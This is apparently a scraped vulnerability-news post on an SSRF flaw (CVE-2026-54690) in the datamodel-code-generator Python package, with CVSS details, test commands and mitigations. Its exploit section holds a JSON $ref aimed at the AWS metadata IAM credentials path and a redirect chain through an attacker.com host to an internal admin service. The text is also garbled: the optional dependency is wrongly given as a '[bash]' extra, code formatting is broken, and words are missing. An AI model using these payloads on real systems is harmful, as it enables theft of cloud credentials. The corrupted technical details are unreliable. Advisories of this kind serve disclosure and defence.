Listen to this Post
CVE-2026-54690 details a Server-Side Request Forgery (SSRF) vulnerability in the `datamodel-code-generator` Python package, affecting versions from 0.9.1 up to (but not including) 0.61.0. The package is widely used to generate Pydantic models, dataclasses, TypedDict, and msgspec.Struct from various schema definitions including OpenAPI, JSON Schema, GraphQL, Avro, Protobuf, and raw JSON/YAML/CSV.
The root cause lies in the `_get_ref_body` method within src/datamodel_code_generator/parser/jsonschema.py. When processing a JSON Schema or OpenAPI document that contains a `$ref` keyword pointing to an HTTP or HTTPS URL, the method silently dereferences that URL without any IP/host validation, scheme allow-list, or redirect restrictions. The `–allow-remote-refs` command-line flag, introduced in version 0.56.0, is supposed to control this behavior. However, its default value is None, which causes the tool to emit only a deprecation warning and then proceed to fetch the remote reference anyway. Only an explicit `–allow-remote-refs=false` blocks the request entirely.
The fetching logic is implemented in `src/datamodel_code_generator/http.py` through `_get_text_from_url` and get_body. This fetcher follows HTTP redirects unconditionally, does not validate the destination IP against private or reserved ranges, and does not restrict the URL scheme beyond accepting http://` andhttps://`. Once the remote content is retrieved, it is parsed as a sub‑schema and merged directly into the model generation graph. This means that any “, description, properties, or other schema elements from the attacker‑controlled remote document become part of the generated Python source code.
The vulnerability is exploitable only when the `
` extra is installed (<code>pip install 'datamodel-code-generator[bash]'</code>), as this brings in the HTTP client dependencies required for remote fetching. An attacker can craft a malicious JSON Schema or OpenAPI document that includes a `$ref` pointing to an internal service, such as the AWS instance metadata endpoint (<code>http://169.254.169.254/latest/meta-data/iam/security-credentials/`), an internal admin dashboard, or any other resource reachable from the machine running</code>datamodel-codegen<code>. When a developer or CI system processes this document, the tool fetches the internal URL and embeds the response verbatim into the generated `.py` file, effectively leaking sensitive data.
This issue was assigned CVE-2026-54690 with a CVSS v3.1 base score of 8.2 (High). The vector is</code>CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N`, indicating network attack vector, low complexity, no privileges required, but user interaction is required (the victim must run the tool on a malicious schema). The scope is changed, with high confidentiality impact and low integrity impact. The vulnerability was fixed in version 0.61.0, which introduces proper SSRF protections: blocking localhost, loopback, private, link‑local, and reserved IP ranges by default, validating redirect targets, and requiring explicit `--allow-private-network` for internal references.
<h2 style="color: blue;">DailyCVE Form:</h2>
Platform: datamodel-code-generator
Version: 0.9.1–0.60.x
Vulnerability: SSRF via $ref
Severity: High (CVSS 8.2)
date: 2026-07-28
<h2 style="color: blue;">Prediction: Already patched 0.61.0</h2>
<h2 style="color: blue;">What Undercode Say:</h2>
<h2 style="color: blue;">Analytics:</h2>
<ul>
<li>Attack Vector: Network</li>
<li>Complexity: Low</li>
<li>Privileges Required: None</li>
<li>User Interaction: Required</li>
<li>Scope: Changed</li>
<li>Confidentiality: High</li>
<li>Integrity: Low</li>
<li>Availability: None
Bash commands to check version and test for the vulnerability:
[bash]
Check installed version
pip show datamodel-code-generator | grep Version
Test with a malicious schema (requires [bash] extra)
echo '{"$ref": "http://169.254.169.254/latest/meta-data/"}' > malicious.json
datamodel-codegen --input malicious.json --output test.py
Check if the generated code contains the fetched response
grep -i "meta-data" test.py
Verify the --allow-remote-refs flag behavior (default None still fetches)
datamodel-codegen --input malicious.json --output test.py --allow-remote-refs
Explicitly block remote refs (safe)
datamodel-codegen --input malicious.json --output test.py --allow-remote-refs=false
Exploit:
An attacker provides a JSON Schema or OpenAPI document containing a `$ref` to an internal HTTP endpoint. For example:
{
"$ref": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role"
}
When the developer runs `datamodel-codegen` on this file, the tool fetches the URL, parses the response as a sub‑schema, and embeds the IAM credentials directly into the generated Python model file. The attacker can also use redirects to chain requests, e.g., a `$ref` to `http://attacker.com/redirect` that forwards to `http://internal-admin:8080/users.json`, leaking internal user lists. The fetched content is reflected verbatim, so any JSON response from the internal service becomes part of the source code.
Protection:
- Upgrade to `datamodel-code-generator` version 0.61.0 or later immediately.
- If upgrading is not possible, always run the tool with `–allow-remote-refs=false` to disable remote `$ref` fetching.
- Avoid processing JSON Schema or OpenAPI documents from untrusted sources.
- For CI/CD pipelines, ensure that the `[bash]` extra is not installed unless absolutely necessary.
- In version 0.61.0 and above, use `–allow-private-network` only when you trust the internal endpoints explicitly.
- Consider network‑level restrictions (e.g., firewall, egress controls) to prevent the tool from reaching internal metadata services.
Impact:
Successful exploitation allows an attacker to perform SSRF attacks, leading to:
– Leakage of sensitive internal information such as cloud instance metadata (IAM credentials, user data), internal API responses, configuration files, and service discovery endpoints.
– Exfiltration of data from internal networks that are otherwise not accessible from the outside.
– In CI/CD environments, exposure of secrets, build artifacts, or internal service details that could be used for further lateral movement.
– The leaked information is embedded in the generated Python source code, which may be committed to repositories or distributed to customers, widening the exposure.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
